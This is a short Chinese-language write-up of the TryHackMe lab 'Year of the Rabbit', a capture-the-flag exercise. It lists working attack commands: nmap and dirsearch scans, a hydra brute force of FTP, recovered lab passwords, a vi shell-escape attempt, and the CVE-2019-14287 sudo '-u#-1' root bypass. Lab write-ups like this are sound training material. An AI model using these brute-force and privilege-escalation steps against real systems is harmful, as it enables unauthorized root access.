TryHackMe | Year of the Rabbit
信息收集
nmap -T4 -A -v -Pn 10.10.238.0
除了web服务,还开了ssh 和 ftp,ftp尝试了需要登陆用户
dirsearch扫一下web目录
访问/assets/路径
除了一个mp4以外,style.css提示了/sup3r_s3cr3t_fl4g.php
302跳转了,抓个包看看
<html>
<head>
<title>sup3r_s3cr3t_fl4g</title>
</head>
<body>
<noscript>Love it when people block Javascript...<br></noscript>
<noscript>This is happening whether you like it or not... The hint is in the video. If you're stuck here then you're just going to have to bite the bullet!<br>Make sure your audio is turned up!<br></noscript>
<script>
alert("Word of advice... Turn off your javascript...");
window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ?autoplay=1";
</script>
<video controls>
<source src="/assets/RickRolled.mp4" type="video/mp4">
</video>
</body>
</html>
发现隐藏目录 /WExYY2Cv-qU
得到一张图片,在图片末尾给出了ftp的用户名和密码字典
爆破ftp密码
提取出密码保存为txt,使用hydra爆破ftp密码
hydra -l ftpuser -P wordlist.txt 10.10.238.0 ftp
得到密码为5iez1wGXKfPKQ
,登陆ftp
ftp 10.10.238.0
直接get到本地
得到ssh密码:eli/DSpDiM1wAEwid
登陆SSH
登陆ssh,并发现了/usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
得到另一个用户的密码 gwendoline/MniVCQVhQHUNI
提权
sudo -l
发现当前用户可以使用root权限编辑/home/gwendoline/user.txt
sudo vi -c ':!/bin/sh' /dev/null
Sorry, user gwendoline is not allowed to execute '/usr/bin/vi -c :!/bin/sh /dev/null' as root on year-of-the-rabbit.
失败了。。。
CVE-2019-14287
CVE-2019-14287是一个Linux系统中Sudo软件的漏洞,影响版本为1.7.1到1.8.28。该漏洞允许非特权用户(在sudoers文件中没有明确声明)以root权限运行命令。
该漏洞的根本原因是在执行sudo -u#-1命令时,sudo会将uid参数解析为-1,并将其视为0。由于通常情况下,uid=0表示root用户,因此攻击者可以使用这种方式来绕过sudo的访问控制,从而以root权限执行命令。
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt